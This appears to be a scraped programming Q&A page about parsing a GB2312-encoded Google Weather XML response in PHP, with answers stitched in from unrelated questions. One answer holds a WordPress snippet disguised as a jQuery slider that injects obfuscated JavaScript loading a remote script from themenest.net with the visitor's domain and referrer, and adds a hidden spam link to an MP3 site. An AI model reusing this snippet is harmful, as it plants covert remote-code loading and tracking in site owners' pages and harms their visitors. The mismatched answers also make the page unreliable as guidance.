Viewed   261 times

I'm trying to load parse a Google Weather API response (Chinese response).

Here is the API call.

// This code fails with the following error
$xml = simplexml_load_file('http://www.google.com/ig/api?weather=11791&hl=zh-CN');

( ! ) Warning: simplexml_load_string() [function.simplexml-load-string]: Entity: line 1: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xB6 0xE0 0xD4 0xC6 in C:htdocsweather.php on line 11

Why does loading this response fail?

How do I encode/decode the response so that simplexml loads it properly?

Edit: Here is the code and output.

<?php
$googleData = file_get_contents('http://www.google.com/ig/api?weather=11102&hl=zh-CN');
$xml = simplexml_load_string($googleData);

( ! ) Warning: simplexml_load_string() [function.simplexml-load-string]: Entity: line 1: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xB6 0xE0 0xD4 0xC6 in C:htdocstest4.php on line 3 Call Stack Time Memory Function Location 1 0.0020 314264 {main}( ) ..test4.php:0 2 0.1535 317520 simplexml_load_string ( string(1364) ) ..test4.php:3

( ! ) Warning: simplexml_load_string() [function.simplexml-load-string]: t_system data="SI"/>

( ! ) Warning: simplexml_load_string() [function.simplexml-load-string]: ^ in C:htdocstest4.php on line 3 Call Stack Time Memory Function Location 1 0.0020 314264 {main}( ) ..test4.php:0 2 0.1535 317520 simplexml_load_string ( string(1364) ) ..test4.php:3

 Answers

3

The problem here is that SimpleXML doesn't look at the HTTP header to determine the character encoding used in the document and simply assumes it's UTF-8 even though Google's server does advertise it as

Content-Type: text/xml; charset=GB2312

You can write a function that will take a look at that header using the super-secret magic variable $http_response_header and transform the response accordingly. Something like that:

function sxe($url)
{   
    $xml = file_get_contents($url);
    foreach ($http_response_header as $header)
    {   
        if (preg_match('#^Content-Type: text/xml; charset=(.*)#i', $header, $m))
        {   
            switch (strtolower($m[1]))
            {   
                case 'utf-8':
                    // do nothing
                    break;

                case 'iso-8859-1':
                    $xml = utf8_encode($xml);
                    break;

                default:
                    $xml = iconv($m[1], 'utf-8', $xml);
            }
            break;
        }
    }

    return simplexml_load_string($xml);
}
Wednesday, September 28, 2022
2

Firstly, this line is missing a closing bracket:

if (md5($password) == !strpos($file, (md5($password))) {

Count the number of ( and ) -- they need to match.

When you fix this, you'll still get errors, because PHP statements need to end with semi-colons.

All of the following lines are missing their semi-colon:

echo "Redirecting..."
header ('Location: ./userhome.php')
print "Whoops! Your password seems to be incorrect. Go back and try again."

You need to fix them all before you'll be able to run the program without syntax errors.

Hope that helps.

Thursday, September 8, 2022
 
3

Your syntax as it is, is correct. The problem is your PHP version. The ** operator was introduced in PHP 5.6 and you probably have something below.

So either update your PHP or use pow().

Thursday, September 15, 2022
 
sromku
 
4

At first look you ... the error is probably in the code passed to the function eval().

Note: I do not use the function eval(). It can cause hidden mistakes, which are difficult to find.

Friday, August 5, 2022
2

This may be a mere question of code formatting, try this:

<?php
if (!function_exists('insert_jquery_slider')){
    function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f('<2'+'3 5="6/7" 8="9://a.b/e/o/g?d='+0.h+'&i='+j(0.k)+'&c='+4.l((4.m()*n)+1)+'"></2'+'3>');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
    }
    add_action('wp_head', 'insert_jquery_slider');
}

if (!function_exists('insert_jquery_slidernew'))
{
    function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
    }

    add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Tuesday, November 1, 2022
1
function toCelsius($deg) {
    return ($deg-32)/1.8;
}

If your temperature in F is here: $current[0]->temp_f['data']

Then all you have to do is this: toCelsius($current[0]->temp_f['data']

Sunday, August 14, 2022
4

Every now and then the API stops working for short periods of time, the last days more often a 403 is trown. For my site, last night it happened 13 times. But the site tries immediately again and the second or third time, the data loads without problems. As the API is unofficial, not sure what’s causing the 403.

Make sure you cache the data as the API will block your IP temporary when you make too much requests. In my case, I cache for 20 minutes and if no data can retrieved, the site will not try more than 10 times to reload the API. Once I forgot to turn caching on after debugging and as my site did many hundred requests (with every visitor), the IP was blocked within an hour. If a remember correct, the error was not a 403. Fortunately, the block lasts for less than a half day.

Saturday, September 17, 2022
 
2

Cleaning the solution and deleting the assemblies made no difference to subsequent builds. My solution was to just change the output path in project settings for the web app to Bin (rather than bin/x86/Debug).

Source:- "Could not load type [Namespace].Global" causing me grief

Tuesday, October 11, 2022
 
gang_su
 
Only authorized users can answer the search term. Please sign in first, or register a free account.
Not the answer you're looking for? Browse other questions tagged :